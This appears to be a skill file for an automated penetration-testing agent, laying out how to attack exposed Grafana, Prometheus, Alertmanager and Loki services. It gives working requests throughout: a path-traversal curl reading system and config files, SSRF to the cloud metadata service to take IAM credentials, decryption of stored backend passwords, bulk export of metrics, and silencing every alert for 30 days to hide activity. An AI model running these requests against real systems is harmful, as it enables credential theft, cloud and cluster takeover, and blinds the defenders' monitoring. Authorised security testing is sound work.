strix/skills/technologies/grafana_prometheus.md
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the entry point: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
Grafana (default :3000)
/api/*), login, org/user management, snapshots/api/datasources/proxy/..., /api/ds/query) — server-side HTTP client → SSRF primitivePrometheus (default :9090)
/api/v1/query, /graph), config/target/status endpoints, federation, admin/lifecycle APIAlertmanager (default :9093)
/api/v2/*), config with receiver credentialsExporters / adjacent — node_exporter (:9100), cAdvisor/kubelet (:4194/:10250), kube-state-metrics (:8080), Pushgateway (:9091), Loki (:3100), Tempo, Jaeger UI (:16686), Thanos/Cortex/Mimir/VictoriaMetrics
Fingerprint & version (version drives which CVEs apply)
GET /api/health # Grafana: {"version":"...","commit":"..."}
GET /api/frontend/settings # buildInfo, enabled auth, datasource types
GET /login # Grafana login page / footer version
GET /api/v1/status/buildinfo # Prometheus version
GET /metrics # any exporter → prometheus/node/go_* series
Auth posture — always test unauthenticated first
GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read
GET /?orgId=1 # anonymous access enabled? lands on dashboards
GET /api/v1/targets # Prometheus: 200 = no auth
GET /api/v2/status # Alertmanager: 200 = no auth
Credential entry points
admin:admin (the first-login change prompt has a Skip button — ~1 in 5 internet-facing instances still accept it)auth.anonymous), open sign-up, guest/viewer rolesAuthorization: Bearer glsa_... / eyJ...) in JS bundles, git, CI logsGrafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, no auth required. Every install ships pre-installed plugins, so the path always exists.
curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
High-value reads:
/etc/grafana/grafana.ini and conf/defaults.ini → secret_key, admin password, SMTP/LDAP creds/var/lib/grafana/grafana.db (SQLite) → data_source.secure_json_data (AES-encrypted with secret_key → decrypt to recover backend passwords/tokens), session tokens, API key hashes/proc/self/environ, cloud credential files (~/.aws/credentials, k8s SA token at /var/run/secrets/kubernetes.io/serviceaccount/token)Grafana v11.0.0–11.2.x (10.x not affected). The experimental SQL Expressions feature passes user input to the duckdb CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable only if the duckdb binary is in Grafana's $PATH (not shipped by default). Any user with Viewer or higher can exploit. CVSS 9.4.
duckdb present? Try the SQL Expressions query path; LFI via read_csv/read_blob-style functions, command injection via DuckDB's shell/install/load extension mechanics.duckdb from PATH.Double-encoded traversal (..%2f) into the client path//redirect forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the Image Renderer plugin is present, escalate to full-read SSRF:
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
No creds needed when anonymous access is on (common in demo/lab).
Unauthenticated view (and, with public_mode, delete) of the lowest-key snapshot via /api/snapshots/:key and /dashboard/snapshot/:key; CVE-2024-1313 lets a user in a different org delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
Prometheus and Alertmanager ship with no authentication; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
Grafana OSS ships a no-op URL validator and an empty data_source_proxy_whitelist (empty = allow all). The proxy resolves the proxied path against the selected data source's configured base URL, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted datasources:create/:write). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the full response body.
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
"url":"http://169.254.169.254"} # returns the new <id>
# Step 2: relay through THAT data source's id (path appended to its base URL):
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
# → /computeMetadata/v1/instance/service-accounts/default/token
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the alerting contact-point/webhook (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The Image Renderer is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (/render/d-solo/...), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a ?url= parameter.
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
GET /api/datasources # host, port, db, user for 5–15 backends
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
Grafana stores backend passwords/tokens encrypted (secureJsonData) — the API won't echo them, but you can (a) use the data source proxy to query the backend directly through Grafana (no plaintext needed), or (b) decrypt grafana.db secure_json_data with the leaked secret_key (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
GET /api/v1/status/config # loaded prometheus.yml
GET /api/v1/targets # every scrape target + discovery metadata labels
Prometheus renders secret-typed fields (basic_auth.password, authorization.credentials, bearer tokens, OAuth client secrets — including inside remote_write/remote_read) as <secret> in the config response, so do not report those as leaked unless the actual value is shown. What genuinely leaks: usernames (basic_auth.username), and — critically — credentials embedded in target/endpoint URLs (https://user:pass@host/...), which are not masked. remote_write/remote_read blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. kubernetes_sd_configs and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + __meta_*/__address__ labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
Metrics are a recon goldmine. Query without auth:
GET /api/v1/query?query=up # every monitored service (host:port)
GET /api/v1/query?query=node_uname_info # kernel/OS/host
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
Pivot: exact versions (*_build_info, kube_node_info) → map to CVEs and attack the vulnerable components; up/kube_pod_info → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
GET /api/v2/status # config (receiver creds often masked, structure/routes leak)
POST /api/v2/silences # unauth in default deploys → silence ALL alerts
alertmanager.yml) holds plaintext Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.POST /api/v2/silences with matcher alertname=~".+" for 30d suppresses security/ops alerting while you operate — call this out as a detection-evasion impact.Exposed Loki (/loki/api/v1/query_range), Tempo, and Jaeger UI (:16686) frequently contain request bodies, headers, tokens, session cookies, SQL, and stack traces captured from real traffic. Query them for authorization, password, token, set-cookie, PII. A single logged bearer token or session cookie is a direct account/service takeover.
:3000/:9090/:9093/:9100/:3100/:16686, /metrics, /api/health)./api/datasources.169.254.169.254.secret_key → decrypt grafana.db; scrape/remote_write/receiver creds; then reuse against each backend.duckdb present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact./etc/passwd or grafana.ini with --path-as-is; note affected version.duckdb in PATH first; demonstrate command execution or file read; note version 11.x.data_source_proxy_whitelist → SSRF blocked.duckdb in PATH → not exploitable (do not report as RCE)./api/health)./api/health, /api/v1/status/buildinfo) — it decides RCE vs read vs recon.<secret> masking is incomplete — hunt usernames and URL-embedded creds in /api/v1/status/config and remote_write.*_build_info and kube_node_info metrics hand you exact component versions — turn them straight into CVE targets.ssrf, information_disclosure, kubernetes, aws/gcp, and authentication_jwt skills; use nuclei templates (grafana-*, prometheus-*) for fast triage.Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.